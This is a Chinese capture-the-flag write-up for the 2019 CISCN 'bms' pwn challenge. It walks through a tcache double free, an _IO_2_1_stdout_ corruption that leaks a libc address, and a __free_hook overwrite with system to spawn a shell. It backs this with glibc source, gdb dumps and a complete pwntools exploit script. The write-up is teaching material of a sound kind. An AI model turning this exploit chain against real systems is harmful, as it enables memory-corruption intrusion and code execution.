csicn2019国赛pwn --- bms

csicn2019国赛pwn — bms

这题居然是tcache,一堆2.23的libc之后,来了个2.26。好吧,之前有做过这种结构体放在heap上的题,也是tcache,一时没反应过来,之后还得去补补tcache的题啊。。

利用思路:这道题的主要漏洞在于利用tcache机制并且free后没有清零造成double free可以实现任意地址写的操作,主要难点在于泄露libc。远端环境是libc2.26,可以使用tcache攻击,利用double free把chunk分配在stdout附近,使tcache bin指向_IO_2_1_stdout_。修改结构体泄露libc,再次使用tcache攻击分配chunk到__free_hook,劫持为one_gadget,调用free获得shell。

难点:tcache机制,利用IO_FILE泄露libc

前置知识

tcache学习

  • tcache指针指向的是user_data而不是heap_header
  • 在上面p4nda写的tcache学习中,利用方式的house_of_spirit提到当tcache存在时,释放堆块没有对堆块的前后堆块进行合法性校验,只需要构造本块对齐就可以成功将任意构造的堆块释放到tcache中,而在申请时,tcache对内部大小合适的堆块也是直接分配的,并且对于在tcache内任意大小的堆块管理方式是一样的,导致常见的house_of_spirit可以延伸到smallbin。正是如此本题可以利用double free(tcache链表劫持)再分配来进行任意地址写。

调试过程:

首先通过double free来劫持tcache链表:

1
(0x90)   tcache_entry[7](1): 0x97c4c0 --> 0x602020 --> 0x7fbd97271760 --> 0xfbad2887 (invaild memory)

然后当分配到0x602020地方的时候需要修改一个合适的值,我尝试过修改\x20或者\x10都是没问题的,重点在后面修改0x7fbd97271760的stdout结构体时候的问题,关于为什么这样构造,为什么这样构造就可以泄露出里libc了,后面再说。
对应脚本如下:

1
2
3
4
5
6
7
8
9
10
11
create(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)
create(0x80,p64(0x602020)*2 + "\n","aaaa\n")#1
create(0x80,"\n","aaaa\n")#2

pause()
log.info("hjack stdout struct")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00"
create(0x80,"\x20","aaaa\n")#3
create_null_puts(0x80,fake_stdout,"aaaa\n")#4

其中上面对同一个chunk进行了多次free的原因在于tcache_put() 的不严谨;

tcache_put()的源码:

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。
因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。
关于例子,可以查看how2heap 的 tcache_dup 进行学习。

下面是打印IO_FILE的结构体的一些信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# 低位覆盖后的结果,
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1720
$1 = {
file = {
_flags = 0xf7bb0780,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x7ffff7bad2a0 <_IO_file_jumps> "",
_IO_buf_end = 0xfbad2887 <error: Cannot access memory at address 0xfbad2887>,
_IO_save_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_backup_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_save_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_markers = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131>,
_chain = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131>,
_fileno = 0xf7bb17e3,
_flags2 = 0x7fff,
_old_offset = 0x7ffff7bb17e3,
_cur_column = 0x17e4,
_vtable_offset = 0xbb,
_shortbuf = <incomplete sequence \367>,
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_freeres_buf = 0x1,
__pad5 = 0xffffffffffffffff,
_mode = 0xa000000,
_unused2 = "\000\000\000\000\300(\273\367\377\177\000\000\377\377\377\377\377\377\377\377"
},
vtable = 0x0
}
# stdout被修改前
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}
# stdout被修改后
gdb-peda$ p *(struct _IO_FILE_plus *)0x7fbd97271760
$2 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x7fbd97271700 <_IO_2_1_stderr_+128> "",
_IO_write_ptr = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fbd972717e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fbd97270a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7fbd972728c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fbd972708c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fbd9726d2a0 <_IO_file_jumps>
}

再次利用double free修改__free_hook为one_adget即可。

1
2
3
4
5
6
7
8
create_null_puts(0x30,'aaaa\n','aaaa\n')#5
free_null_puts(5)
free_null_puts(5)
create_null_puts(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
create_null_puts(0x30,"\n","aaaa\n")#7
create_null_puts(0x30,p64(system),"aaaa\n")#8 overwrite free_hook --> system
create_null_puts(0x10,"/bin/sh\x00","aaaa\n")#9 getshell
free_null_puts(9)

利用IO_FILE泄露libc

源码:https://code.woboq.org/userspace/glibc/libio/fileops.c.html#_IO_new_do_write

泄露libc的涉及到了IO_FILE的利用,通过修改 puts函数工作过程中stdout 结构体中的 _IO_write_base ,来达到泄露libc地址信息的目的。下面来讲一下其中的一些原理。
关于puts函数的调用链(后面也有给出调试过程中看到的调用):puts函数在源码中是由 _IO_puts实现的,而 _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow。主要的目标我觉得是在_IO_new_file_overflow里面。

_IO_puts源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

_IO_new_file_overflow函数源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //目标,注意看第三个参数size的计算
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

可以发现_IO_do_write是最后调用的函数, 而_IO_write_base是我们要修改的目标。这里f-> _flags & _IO_NO_WRITES的值应该是0,同时使f-> _flags & _IO_CURRENTLY_PUTTING的值为1,避免执行不必要的代码同时让他正确return到相应位置。

_IO_do_write函数的参数为stdout结构体、 _IO_write_base和要打印的size。而 _IO_do_write实际会调用new_do_write,参数一样。

泄露思路重点:
而我们的size是通过f->_IO_write_ptr - f->_IO_write_base,通过调试仔细查看没有修改stdout结构体前可以发现f->_IO_write_ptr - f->_IO_write_base = 0的,也就是说正常调用_IO_do_write是不会打印东西的,也就是不会从_IO_write_base开始打印东西,但是一旦我们修改了f->_IO_write_base,这样一来size就会不等于0,而打印出f->_IO_write_base上面的东西,所以造成的泄露libc。

这道题同时也因为修改了bss段上stdout的结构体位置,造成printf无法调用,无法打印malloc和free操作的信息(个人想法,因为覆盖0x602020上值的低位之后就不能用printf了,理解有错的话希望大佬可以告诉我)。

new_do_write 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终输出
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

其中_IO_SYSWRITE就是我们的目标,这相当于 write(fp , data, to_do)_IO_SYSSEEK只是简单的调用lseek,但是我们不能完全控制fp-> _IO_write_base - fp-> _IO_read_end 的值。如果fp-> _IO_read_end的值设为0,那么 _IO_SYSSEEK的第二个参数的值就会过大。如果设置fp-> _IO_write_base = fp-> _IO_read_end 的话,那么在其他地方就会有问题,因为fp-> _IO_write_base不能大于fp-> _IO_write_end 。所以这里要 设置fp- _flags | _IO_IS_APPENDING,避免进入else if分支中。因此我们需要让IO_FILE的flags满足一些条件才能正确的执行到相应位置达成利用:

IO_FILE 的flags标志的一些宏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000

_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED

_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags

_flag的构造满足的条件:

1
2
3
4
_flags = 0xfbad0000  
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

详细的跟进调试过程:
跟进puts内发现,_IO_puts ->_IO_new_file_xsputn->_IO_new_file_overflow->_IO_do_write ->_IO_new_file_write

调试 begin…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
   0x7ffff7845b4c <_IO_puts+396>:	jmp    0x7ffff7845a85 <_IO_puts+197>
0x7ffff7845b51 <_IO_puts+401>: nop DWORD PTR [rax+0x0]
0x7ffff7845b58 <_IO_puts+408>: mov esi,0xa
=> 0x7ffff7845b5d <_IO_puts+413>: call 0x7ffff7852e90 <__GI___overflow>
0x7ffff7845b62 <_IO_puts+418>: cmp eax,0xffffffff
0x7ffff7845b65 <_IO_puts+421>: jne 0x7ffff7845ab8 <_IO_puts+248>
0x7ffff7845b6b <_IO_puts+427>: jmp 0x7ffff7845b31 <_IO_puts+369>
0x7ffff7845b6d <_IO_puts+429>: test DWORD PTR [rbp+0x0],0x8000
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad2887
arg[1]: 0xa ('\n')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff7845a7f <_IO_puts+191>: jbe 0x7ffff7845b40 <_IO_puts+384>
0x7ffff7845a85 <_IO_puts+197>: mov rdx,rbx
0x7ffff7845a88 <_IO_puts+200>: mov rsi,r12
=> 0x7ffff7845a8b <_IO_puts+203>: call QWORD PTR [r13+0x38]
0x7ffff7845a8f <_IO_puts+207>: cmp rbx,rax
0x7ffff7845a92 <_IO_puts+210>: jne 0x7ffff7845b31 <_IO_puts+369>
0x7ffff7845a98 <_IO_puts+216>: mov rdi,QWORD PTR [rip+0x36bda9] # 0x7ffff7bb1848 <stdout>
0x7ffff7845a9f <_IO_puts+223>: mov rax,QWORD PTR [rdi+0x28]
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800
arg[1]: 0x4014fc --> 0x6e690021656e6f64 ('done!')
arg[2]: 0x5
arg[3]: 0xb40 ('@\x0b')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff78509dc <_IO_new_file_xsputn+172>: jbe 0x7ffff7850bc0 <_IO_new_file_xsputn+656>
0x7ffff78509e2 <_IO_new_file_xsputn+178>: mov esi,0xffffffff
0x7ffff78509e7 <_IO_new_file_xsputn+183>: mov rdi,rbx
=> 0x7ffff78509ea <_IO_new_file_xsputn+186>: call QWORD PTR [rax+0x18]
0x7ffff78509ed <_IO_new_file_xsputn+189>: cmp eax,0xffffffff
0x7ffff78509f0 <_IO_new_file_xsputn+192>: je 0x7ffff7850a90 <_IO_new_file_xsputn+352>
0x7ffff78509f6 <_IO_new_file_xsputn+198>: mov rcx,QWORD PTR [rbx+0x40]
0x7ffff78509fa <_IO_new_file_xsputn+202>: sub rcx,QWORD PTR [rbx+0x38]
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800
arg[1]: 0xffffffff
arg[2]: 0xb40 ('@\x0b')
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff78523e2 <_IO_new_file_overflow+226>: pop rbx
0x7ffff78523e3 <_IO_new_file_overflow+227>: pop rbp
0x7ffff78523e4 <_IO_new_file_overflow+228>: pop r12
=> 0x7ffff78523e6 <_IO_new_file_overflow+230>: jmp 0x7ffff7851ea0 <_IO_new_do_write>
| 0x7ffff78523eb <_IO_new_file_overflow+235>: nop DWORD PTR [rax+rax*1+0x0]
| 0x7ffff78523f0 <_IO_new_file_overflow+240>: mov rsi,QWORD PTR [rbx+0x20]
| 0x7ffff78523f4 <_IO_new_file_overflow+244>: mov rdx,QWORD PTR [rbx+0x28]
| 0x7ffff78523f8 <_IO_new_file_overflow+248>: mov rdi,rbx
|-> 0x7ffff7851ea0 <_IO_new_do_write>: xor eax,eax
0x7ffff7851ea2 <_IO_new_do_write+2>: test rdx,rdx
0x7ffff7851ea5 <_IO_new_do_write+5>: jne 0x7ffff7851eb0 <_IO_new_do_write+16>
0x7ffff7851ea7 <_IO_new_do_write+7>: repz ret
JUMP is taken
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x7ffff7851f44 <_IO_new_do_write+164>: mov rdx,r12
0x7ffff7851f47 <_IO_new_do_write+167>: mov rsi,r13
0x7ffff7851f4a <_IO_new_do_write+170>: mov rdi,rbx
=> 0x7ffff7851f4d <_IO_new_do_write+173>: call QWORD PTR [r14+0x78]
0x7ffff7851f51 <_IO_new_do_write+177>: mov rbp,rax
0x7ffff7851f54 <_IO_new_do_write+180>: movzx eax,WORD PTR [rbx+0x80]
0x7ffff7851f5b <_IO_new_do_write+187>: test rbp,rbp
0x7ffff7851f5e <_IO_new_do_write+190>: je 0x7ffff7851f65 <_IO_new_do_write+197>
Guessed arguments:
arg[0]: 0x7ffff7bb1760 --> 0xfbad1800
arg[1]: 0x7ffff7bb1700 --> 0x0
arg[2]: 0xe3
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[----------------------------------registers-----------------------------------]
RAX: 0xb40 ('@\x0b')
RBX: 0xe3
RCX: 0xfbad1800
RDX: 0xe3
RSI: 0x7ffff7bb1700 --> 0x0
RDI: 0x1
RBP: 0x7ffff7bb1700 --> 0x0
RSP: 0x7fffffffde10 --> 0x7fffffffdf20 --> 0x7fffffffdf40 --> 0x401370 (push r15)
RIP: 0x7ffff78501b8 (<_IO_new_file_write+40>: call 0x7ffff78d5140 <__GI___libc_write>)
R8 : 0x7ffff7fdd740 (0x00007ffff7fdd740)
R9 : 0x0
R10: 0x7ffff7963cc0 --> 0x2000200020002
R11: 0x246
R12: 0x7ffff7bb1760 --> 0xfbad1800
R13: 0xe3
R14: 0x7ffff7bad2a0 --> 0x0
R15: 0x7ffff7bac760 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff78501ac <_IO_new_file_write+28>: mov rbx,rdx
0x7ffff78501af <_IO_new_file_write+31>: jmp 0x7ffff78501cd <_IO_new_file_write+61>
0x7ffff78501b1 <_IO_new_file_write+33>: nop DWORD PTR [rax+0x0]
=> 0x7ffff78501b8 <_IO_new_file_write+40>: call 0x7ffff78d5140 <__GI___libc_write>
0x7ffff78501bd <_IO_new_file_write+45>: test rax,rax
0x7ffff78501c0 <_IO_new_file_write+48>: js 0x7ffff78501f0 <_IO_new_file_write+96>
0x7ffff78501c2 <_IO_new_file_write+50>: sub rbx,rax
0x7ffff78501c5 <_IO_new_file_write+53>: add rbp,rax
No argument

调试 end…
调试的时候发现:调用完一次puts泄露出libc之后会对_IO_read_ptr等进行修正,但不会对_flags 进行修正

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# stdout被修改前
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}
# stdout被修改后
gdb-peda$ p *(struct _IO_FILE_plus *)0x7fbd97271760
$2 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x7fbd97271700 <_IO_2_1_stderr_+128> "",
_IO_write_ptr = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fbd972717e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fbd972717e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fbd97270a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7fbd972728c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fbd972708c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fbd9726d2a0 <_IO_file_jumps>
}
# 调用完一次puts后已经完成修正
gdb-peda$ p *(struct _IO_FILE_plus *)0x00007ffff7bb1760
$54 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_write_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_buf_base = 0x7ffff7bb17e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7bb17e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7bb0a00 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7bb28c0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7bb08c0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7bad2a0 <_IO_file_jumps>
}

环境:ubuntu18.04 libc2.27
完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

context(os='linux',arch='amd64',aslr = 'False',log_level='debug')


#p = remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com","40001")
p = process("./pwn")
elf = ELF('./pwn')
libc = elf.libc

def create(size,content,name):
p.sendlineafter(">","1")
p.sendafter("book name:",name)
p.sendlineafter("description size:",str(size))
p.sendafter("description:",content)

def create_null_puts(size,content,name):
p.sendlineafter(">","1")
p.send(name)
sleep(0.01)
p.sendline(str(size))
sleep(0.01)
p.send(content)
sleep(0.01)

def free(idx):
p.sendlineafter(">","2")
p.sendlineafter("index:",str(idx))

def free_null_puts(idx):
p.sendlineafter(">","2")
p.sendline(str(idx))

def edit(idx,content):
p.sendlineafter(">","3")
p.sendlineafter("index:",str(idx))
p.sendafter("create description:",content)

'''
0x602060
b *0x00401207
b *0x0040129b

'''
p.sendlineafter("username:","admin")
p.sendlineafter("password:","frame")

create(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)
pause()
create(0x80,p64(0x602020)*2 + "\n","aaaa\n")#1
create(0x80,"\n","aaaa\n")#2

log.info("hjack stdout struct")
fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00"
create(0x80,"\x20","aaaa\n")#3
create_null_puts(0x80,fake_stdout,"aaaa\n")#4

# when call next puts will leak the libc
leak = p.recvuntil("done!",drop = True)
#print("leak = " + str(leak))
leak = leak[0x9:]
leak_add = u64(leak[:6].ljust(8,'\x00'))
libc_base = leak_add - 0x3ed8b0 # 2.27 # 0x3D73E0
libc.address = libc_base
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
success("leak_add = " + hex(leak_add))
success("libc_base = " + hex(libc_base))
success("system = " + hex(system))
success("free_hook = " + hex(free_hook))


create_null_puts(0x30,'aaaa\n','aaaa\n')#5
free_null_puts(5)
free_null_puts(5)
create_null_puts(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
create_null_puts(0x30,"\n","aaaa\n")#7
create_null_puts(0x30,p64(system),"aaaa\n")#8 overwrite free_hook --> system
create_null_puts(0x10,"/bin/sh\x00","aaaa\n")#9 getshell
free_null_puts(9)

p.interactive()